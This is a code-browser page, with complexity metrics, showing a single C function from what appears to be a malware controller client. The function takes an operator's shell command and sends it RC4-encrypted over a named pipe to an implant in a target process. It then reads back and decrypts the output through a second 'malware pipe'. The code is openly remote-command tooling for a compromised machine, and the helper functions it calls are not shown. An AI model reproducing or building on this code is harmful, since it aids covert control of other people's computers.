void cl_run_shell_command()

in client.c [656:694]

• 30 lines of code
• 5 McCabe index (conditional complexity)

void cl_run_shell_command(HANDLE pipe, const char* target, uint32_t pid)
{
    assert(INVALID_HANDLE_VALUE != pipe);
    assert(target);
    assert(pid);

    wchar_t shell_command[MAX_SIZE / 2] = { 0 };
    HANDLE secondary_pipe = INVALID_HANDLE_VALUE;
    packet_t* packet = NULL;
    packet_t* result = NULL;
    wchar_t* output = NULL;

    h_get_wide_user_string(L"Enter shell command to execute: ", shell_command, MAX_SIZE / 2);

    comm_send_command(pipe, RUN_SHELL_COMMAND, (uint8_t*)shell_command,
        (uint32_t)((wcslen(shell_command) + 1) * sizeof(wchar_t)), RC4_KEY,
        RC4_KEY_LENGTH);

    secondary_pipe = cl_open_malware_pipe_0(target, pid);

    packet = comm_receive_packet(secondary_pipe);

    output = (wchar_t*)comm_receive_decrypt_data(
        secondary_pipe, packet->_1.buffer_size, RC4_KEY, RC4_KEY_LENGTH);

    wprintf(L"%.*ls\n", packet->_1.buffer_size / 2, output);

    result = comm_receive_packet(pipe);
    cl_print_packet(result);

    if (packet)
        free(packet);
    if (result)
        free(result);
    if (output)
        free(output);
    if (INVALID_HANDLE_VALUE != secondary_pipe)
        CloseHandle(secondary_pipe);
}